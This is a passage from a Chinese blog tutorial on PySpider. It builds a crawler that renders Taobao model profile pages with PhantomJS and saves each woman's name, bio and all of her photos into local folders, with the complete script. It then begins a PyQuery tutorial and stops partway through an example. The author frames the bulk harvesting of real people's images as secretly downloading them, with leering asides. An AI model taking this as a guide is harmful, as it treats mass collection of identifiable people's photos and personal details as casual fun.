                  <p>然后回调函数就是 detail_page，爬取的结果会作为 response 变量传过去。detail_page 接到这个变量继续下面的分析。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-7@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-7@2x-1024x620.png" alt="QQ20160325-7@2x"></a> 好，我们继续点击 run 按钮，开始下一个页面的爬取。得到的结果是这样的。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-5@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-5@2x-864x1024.png" alt="QQ20160325-5@2x"></a> 哦，有些页面没有加载出来，这是为什么？ 在之前的文章说过，这个页面比较特殊，右边的页面使用 JS 渲染生成的，而普通的抓取是不能得到 JS 渲染后的页面的，这可麻烦了。 然而，幸运的是，PySpider 提供了动态解析 JS 的机制。 友情提示：可能有的小伙伴不知道 PhantomJS，可以参考 <a href="http://cuiqingcai.com/2599.html">爬虫JS动态解析</a> 因为我们在前面装好了 PhantomJS，所以，这时候就轮到它来出场了。在最开始运行 PySpider 的时候，使用了<code>pyspider all</code>命令，这个命令是把 PySpider 所有的组件启动起来，其中也包括 PhantomJS。 所以我们代码怎么改呢？很简单。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> response.doc(<span class="string">'.lady-name'</span>).items()<span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.crawl(each.attr.href, callback=<span class="keyword">self</span>.detail_page, fetch_type=<span class="string">'js'</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>只是简单地加了一个 fetch_type=’js’，点击绿色的返回箭头，重新运行一下。 可以发现，页面已经被我们成功加载出来了，简直不能更帅！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-9@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-9@2x-1004x1024.png" alt="QQ20160325-9@2x"></a> 看下面的个性域名，所有我们需要的 MM 图片都在那里面了，所以我们需要继续抓取这个页面。</p>
                  <h2 id="胜利在望"><a href="#胜利在望" class="headerlink" title="胜利在望"></a>胜利在望</h2>
                  <p>好，继续修改 detail_page 方法，然后增加一个 domain_page 方法，用来处理每个 MM 的个性域名。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">detail_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    domain = <span class="string">'https:'</span> + response.doc(<span class="string">'.mm-p-domain-info li &gt; span'</span>).text()</span><br><span class="line">    print domain</span><br><span class="line">    <span class="keyword">self</span>.crawl(domain, callback=<span class="keyword">self</span>.domain_page)</span><br><span class="line">                </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">domain_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    pass</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>好，继续重新 run，预览一下页面，终于，我们看到了 MM 的所有图片。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-0@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-0@2x-1024x546.png" alt="QQ20160326-0@2x"></a> 嗯，你懂得！</p>
                  <h2 id="只欠东风"><a href="#只欠东风" class="headerlink" title="只欠东风"></a>只欠东风</h2>
                  <p>好，照片都有了，那么我们就偷偷地下载下来吧～ 完善 domain_page 代码，实现保存简介和遍历保存图片的方法。 在这里，PySpider 有一个特点，所有的 request 都会保存到一个队列中，并具有去重和自动重试机制。所以，我们最好的解决方法是，把每张图片的请求都写成一个 request，然后成功后用文件写入即可，这样会避免图片加载不全的问题。 曾经在之前文章写过图片下载和文件夹创建的过程，在这里就不多赘述原理了，直接上写好的工具类，后面会有完整代码。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">import os</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Deal</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.path = DIR_PATH</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="keyword">self</span>.path.endswith(<span class="string">'/'</span>)<span class="symbol">:</span></span><br><span class="line">            <span class="keyword">self</span>.path = <span class="keyword">self</span>.path + <span class="string">'/'</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(<span class="keyword">self</span>.path)<span class="symbol">:</span></span><br><span class="line">            os.makedirs(<span class="keyword">self</span>.path)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkDir</span><span class="params">(<span class="keyword">self</span>, path)</span></span><span class="symbol">:</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        dir_path = <span class="keyword">self</span>.path + path</span><br><span class="line">        exists = os.path.exists(dir_path)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="symbol">exists:</span></span><br><span class="line">            os.makedirs(dir_path)</span><br><span class="line">            <span class="keyword">return</span> dir_path</span><br><span class="line">        <span class="symbol">else:</span></span><br><span class="line">            <span class="keyword">return</span> dir_path</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">saveImg</span><span class="params">(<span class="keyword">self</span>, content, path)</span></span><span class="symbol">:</span></span><br><span class="line">        f = open(path, <span class="string">'wb'</span>)</span><br><span class="line">        f.write(content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">saveBrief</span><span class="params">(<span class="keyword">self</span>, content, dir_path, name)</span></span><span class="symbol">:</span></span><br><span class="line">        file_name = dir_path + <span class="string">"/"</span> + name + <span class="string">".txt"</span></span><br><span class="line">        f = open(file_name, <span class="string">"w+"</span>)</span><br><span class="line">        f.write(content.encode(<span class="string">'utf-8'</span>))</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">getExtension</span><span class="params">(<span class="keyword">self</span>, url)</span></span><span class="symbol">:</span></span><br><span class="line">        extension = url.split(<span class="string">'.'</span>)[-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">return</span> extension</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这里面包含了四个方法。</p>
                  <blockquote>
                    <p>mkDir：创建文件夹，用来创建 MM 名字对应的文件夹。 saveBrief: 保存简介，保存 MM 的文字简介。 saveImg: 传入图片二进制流以及保存路径，存储图片。 getExtension: 获得链接的后缀名，通过图片 URL 获得。</p>
                  </blockquote>
                  <p>然后在 domain_page 中具体实现如下</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">domain_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    name = response.doc(<span class="string">'.mm-p-model-info-left-top dd &gt; a'</span>).text()</span><br><span class="line">    dir_path = <span class="keyword">self</span>.deal.mkDir(name)</span><br><span class="line">    brief = response.doc(<span class="string">'.mm-aixiu-content'</span>).text()</span><br><span class="line">    <span class="keyword">if</span> <span class="symbol">dir_path:</span></span><br><span class="line">        imgs = response.doc(<span class="string">'.mm-aixiu-content img'</span>).items()</span><br><span class="line">        count = <span class="number">1</span></span><br><span class="line">        <span class="keyword">self</span>.deal.saveBrief(brief, dir_path, name)</span><br><span class="line">        <span class="keyword">for</span> img <span class="keyword">in</span> <span class="symbol">imgs:</span></span><br><span class="line">            url = img.attr.src</span><br><span class="line">            <span class="keyword">if</span> <span class="symbol">url:</span></span><br><span class="line">                extension = <span class="keyword">self</span>.deal.getExtension(url)</span><br><span class="line">                file_name = name + str(count) + <span class="string">'.'</span> + extension</span><br><span class="line">                count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">self</span>.crawl(img.attr.src, callback=<span class="keyword">self</span>.save_img,</span><br><span class="line">                           save=&#123;<span class="string">'dir_path'</span>: dir_path, <span class="string">'file_name'</span>: file_name&#125;)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">save_img</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    content = response.content</span><br><span class="line">    dir_path = response.save[<span class="string">'dir_path'</span>]</span><br><span class="line">    file_name = response.save[<span class="string">'file_name'</span>]</span><br><span class="line">    file_path = dir_path + <span class="string">'/'</span> + file_name</span><br><span class="line">    <span class="keyword">self</span>.deal.saveImg(content, file_path)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>以上方法首先获取了页面的所有文字，然后调用了 saveBrief 方法存储简介。 然后遍历了 MM 所有的图片，并通过链接获取后缀名，和 MM 的姓名以及自增计数组合成一个新的文件名，调用 saveImg 方法保存图片。</p>
                  <h2 id="炉火纯青"><a href="#炉火纯青" class="headerlink" title="炉火纯青"></a>炉火纯青</h2>
                  <p>好，基本的东西都写好了。 接下来。继续完善一下代码。第一版本完成。 <strong>版本一功能：按照淘宝MM姓名分文件夹，存储MM的 txt 文本简介以及所有美图至本地。</strong> 可配置项：</p>
                  <blockquote>
                    <ul>
                      <li>PAGE_START: 列表开始页码</li>
                      <li>PAGE_END: 列表结束页码</li>
                      <li>DIR_PATH: 资源保存路径</li>
                    </ul>
                  </blockquote>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- encoding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># Created on 2016-03-25 00:59:45</span></span><br><span class="line"><span class="comment"># Project: taobaomm</span></span><br><span class="line"></span><br><span class="line">from pyspider.libs.base_handler import *</span><br><span class="line"></span><br><span class="line">PAGE_START = <span class="number">1</span></span><br><span class="line">PAGE_END = <span class="number">30</span></span><br><span class="line">DIR_PATH = <span class="string">'/var/py/mm'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handler</span>(<span class="title">BaseHandler</span>):</span></span><br><span class="line">    crawl_config = &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.base_url = <span class="string">'https://mm.taobao.com/json/request_top_list.htm?page='</span></span><br><span class="line">        <span class="keyword">self</span>.page_num = PAGE_START</span><br><span class="line">        <span class="keyword">self</span>.total_num = PAGE_END</span><br><span class="line">        <span class="keyword">self</span>.deal = Deal()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">on_start</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">self</span>.page_num &lt;= <span class="keyword">self</span>.<span class="symbol">total_num:</span></span><br><span class="line">            url = <span class="keyword">self</span>.base_url + str(<span class="keyword">self</span>.page_num)</span><br><span class="line">            <span class="keyword">self</span>.crawl(url, callback=<span class="keyword">self</span>.index_page)</span><br><span class="line">            <span class="keyword">self</span>.page_num += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">index_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">for</span> each <span class="keyword">in</span> response.doc(<span class="string">'.lady-name'</span>).items()<span class="symbol">:</span></span><br><span class="line">            <span class="keyword">self</span>.crawl(each.attr.href, callback=<span class="keyword">self</span>.detail_page, fetch_type=<span class="string">'js'</span>)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">detail_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        domain = response.doc(<span class="string">'.mm-p-domain-info li &gt; span'</span>).text()</span><br><span class="line">        <span class="keyword">if</span> <span class="symbol">domain:</span></span><br><span class="line">            page_url = <span class="string">'https:'</span> + domain</span><br><span class="line">            <span class="keyword">self</span>.crawl(page_url, callback=<span class="keyword">self</span>.domain_page)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">domain_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        name = response.doc(<span class="string">'.mm-p-model-info-left-top dd &gt; a'</span>).text()</span><br><span class="line">        dir_path = <span class="keyword">self</span>.deal.mkDir(name)</span><br><span class="line">        brief = response.doc(<span class="string">'.mm-aixiu-content'</span>).text()</span><br><span class="line">        <span class="keyword">if</span> <span class="symbol">dir_path:</span></span><br><span class="line">            imgs = response.doc(<span class="string">'.mm-aixiu-content img'</span>).items()</span><br><span class="line">            count = <span class="number">1</span></span><br><span class="line">            <span class="keyword">self</span>.deal.saveBrief(brief, dir_path, name)</span><br><span class="line">            <span class="keyword">for</span> img <span class="keyword">in</span> <span class="symbol">imgs:</span></span><br><span class="line">                url = img.attr.src</span><br><span class="line">                <span class="keyword">if</span> <span class="symbol">url:</span></span><br><span class="line">                    extension = <span class="keyword">self</span>.deal.getExtension(url)</span><br><span class="line">                    file_name = name + str(count) + <span class="string">'.'</span> + extension</span><br><span class="line">                    count += <span class="number">1</span></span><br><span class="line">                    <span class="keyword">self</span>.crawl(img.attr.src, callback=<span class="keyword">self</span>.save_img,</span><br><span class="line">                               save=&#123;<span class="string">'dir_path'</span>: dir_path, <span class="string">'file_name'</span>: file_name&#125;)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">save_img</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        content = response.content</span><br><span class="line">        dir_path = response.save[<span class="string">'dir_path'</span>]</span><br><span class="line">        file_name = response.save[<span class="string">'file_name'</span>]</span><br><span class="line">        file_path = dir_path + <span class="string">'/'</span> + file_name</span><br><span class="line">        <span class="keyword">self</span>.deal.saveImg(content, file_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">import os</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Deal</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.path = DIR_PATH</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="keyword">self</span>.path.endswith(<span class="string">'/'</span>)<span class="symbol">:</span></span><br><span class="line">            <span class="keyword">self</span>.path = <span class="keyword">self</span>.path + <span class="string">'/'</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(<span class="keyword">self</span>.path)<span class="symbol">:</span></span><br><span class="line">            os.makedirs(<span class="keyword">self</span>.path)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkDir</span><span class="params">(<span class="keyword">self</span>, path)</span></span><span class="symbol">:</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        dir_path = <span class="keyword">self</span>.path + path</span><br><span class="line">        exists = os.path.exists(dir_path)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="symbol">exists:</span></span><br><span class="line">            os.makedirs(dir_path)</span><br><span class="line">            <span class="keyword">return</span> dir_path</span><br><span class="line">        <span class="symbol">else:</span></span><br><span class="line">            <span class="keyword">return</span> dir_path</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">saveImg</span><span class="params">(<span class="keyword">self</span>, content, path)</span></span><span class="symbol">:</span></span><br><span class="line">        f = open(path, <span class="string">'wb'</span>)</span><br><span class="line">        f.write(content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">saveBrief</span><span class="params">(<span class="keyword">self</span>, content, dir_path, name)</span></span><span class="symbol">:</span></span><br><span class="line">        file_name = dir_path + <span class="string">"/"</span> + name + <span class="string">".txt"</span></span><br><span class="line">        f = open(file_name, <span class="string">"w+"</span>)</span><br><span class="line">        f.write(content.encode(<span class="string">'utf-8'</span>))</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">getExtension</span><span class="params">(<span class="keyword">self</span>, url)</span></span><span class="symbol">:</span></span><br><span class="line">        extension = url.split(<span class="string">'.'</span>)[-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">return</span> extension</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>粘贴到你的 PySpider 中运行吧～ 其中有一些知识点，我会在后面作详细的用法总结。大家可以先体会一下代码。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-1@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-1@2x-1024x418.png" alt="QQ20160326-1@2x"></a> 保存之后，点击下方的 run，你会发现，海量的 MM 图片已经涌入你的电脑啦～ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-2@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-2@2x-1024x831.png" alt="QQ20160326-2@2x"></a> <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-3@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-3@2x-1024x831.png" alt="QQ20160326-3@2x"></a> 需要解释？需要我也不解释！</p>
                  <h2 id="项目代码"><a href="#项目代码" class="headerlink" title="项目代码"></a>项目代码</h2>
                  <p> <a href="https://github.com/cqcre/TaobaoMM" target="_blank" rel="noopener">TaobaoMM - GitHub</a></p>
                  <h2 id="尚方宝剑"><a href="#尚方宝剑" class="headerlink" title="尚方宝剑"></a>尚方宝剑</h2>
                  <p>如果想了解 PySpider 的更多内容，可以查看官方文档。 <a href="http://docs.pyspider.org/en/latest/Quickstart/" target="_blank" rel="noopener">官方文档</a></p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-03-26 02:32:36" itemprop="dateCreated datePublished" datetime="2016-03-26T02:32:36+08:00">2016-03-26</time>
                </span>
                <span id="/2652.html" class="post-meta-item leancloud_visitors" data-flag-title="Python爬虫进阶四之PySpider的用法" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>8.1k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>7 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2636.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2636.html" class="post-title-link" itemprop="url">Python爬虫利器六之PyQuery的用法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>你是否觉得 XPath 的用法多少有点晦涩难记呢？ 你是否觉得 BeautifulSoup 的语法多少有些悭吝难懂呢？ 你是否甚至还在苦苦研究正则表达式却因为少些了一个点而抓狂呢？ 你是否已经有了一些前端基础了解选择器却与另外一些奇怪的选择器语法混淆了呢？ 嗯，那么，前端大大们的福音来了，PyQuery 来了，乍听名字，你一定联想到了 jQuery，如果你对 jQuery 熟悉，那么 PyQuery 来解析文档就是不二之选！包括我在内！ PyQuery 是 Python 仿照 jQuery 的严格实现。语法与 jQuery 几乎完全相同，所以不用再去费心去记一些奇怪的方法了。 天下竟然有这等好事？我都等不及了！</p>
                  <h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2>
                  <p>有这等神器还不赶紧安装了！来！</p>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">pip <span class="keyword">install</span> pyquery</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>还是原来的配方，还是熟悉的味道。</p>
                  <h2 id="参考来源"><a href="#参考来源" class="headerlink" title="参考来源"></a>参考来源</h2>
                  <p>本文内容参考官方文档，更多内容，大家可以去官方文档学习，毕竟那里才是最原汁原味的。 目前版本 1.2.4 (2016/3/24) <a href="https://pythonhosted.org/pyquery/" target="_blank" rel="noopener">官方文档</a></p>
                  <h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2>
                  <blockquote>
                    <p>pyquery allows you to make jquery queries on xml documents. The API is as much as possible the similar to jquery. pyquery uses lxml for fast xml and html manipulation. This is not (or at least not yet) a library to produce or interact with javascript code. I just liked the jquery API and I missed it in python so I told myself “Hey let’s make jquery in python”. This is the result. It can be used for many purposes, one idea that I might try in the future is to use it for templating with pure http templates that you modify using pyquery. I can also be used for web scrapping or for theming applications with Deliverance.</p>
                  </blockquote>
                  <p>pyquery 可让你用 jQuery 的语法来对 xml 进行操作。这I和 jQuery 十分类似。如果利用 lxml，pyquery 对 xml 和 html 的处理将更快。 这个库不是（至少还不是）一个可以和 JavaScript交互的代码库，它只是非常像 jQuery API 而已。</p>
                  <h2 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h2>
                  <p>在这里介绍四种初始化方式。 （1）直接字符串</p>
                  <figure class="highlight perl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from pyquery import PyQuery as pq</span><br><span class="line">doc = p<span class="string">q("&lt;html&gt;&lt;/html&gt;")</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>pq 参数可以直接传入 HTML 代码，doc 现在就相当于 jQuery 里面的 $ 符号了。 （2）lxml.etree</p>
                  <figure class="highlight perl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from lxml import etree</span><br><span class="line">doc = p<span class="string">q(etree.fromstring("&lt;html&gt;&lt;/html&gt;")</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>可以首先用 lxml 的 etree 处理一下代码，这样如果你的 HTML 代码出现一些不完整或者疏漏，都会自动转化为完整清晰结构的 HTML代码。 （3）直接传URL</p>
                  <figure class="highlight perl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from pyquery import PyQuery as pq</span><br><span class="line">doc = p<span class="string">q('http://www.baidu.com')</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这里就像直接请求了一个网页一样，类似用 urllib2 来直接请求这个链接，得到 HTML 代码。 （4）传文件</p>
                  <figure class="highlight perl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from pyquery import PyQuery as pq</span><br><span class="line">doc = p<span class="string">q(filename='hello.html')</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>可以直接传某个路径的文件名。</p>
                  <h2 id="快速体验"><a href="#快速体验" class="headerlink" title="快速体验"></a>快速体验</h2>
                  <p>现在我们以本地文件为例，传入一个名字为 hello.html 的文件，文件内容为</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
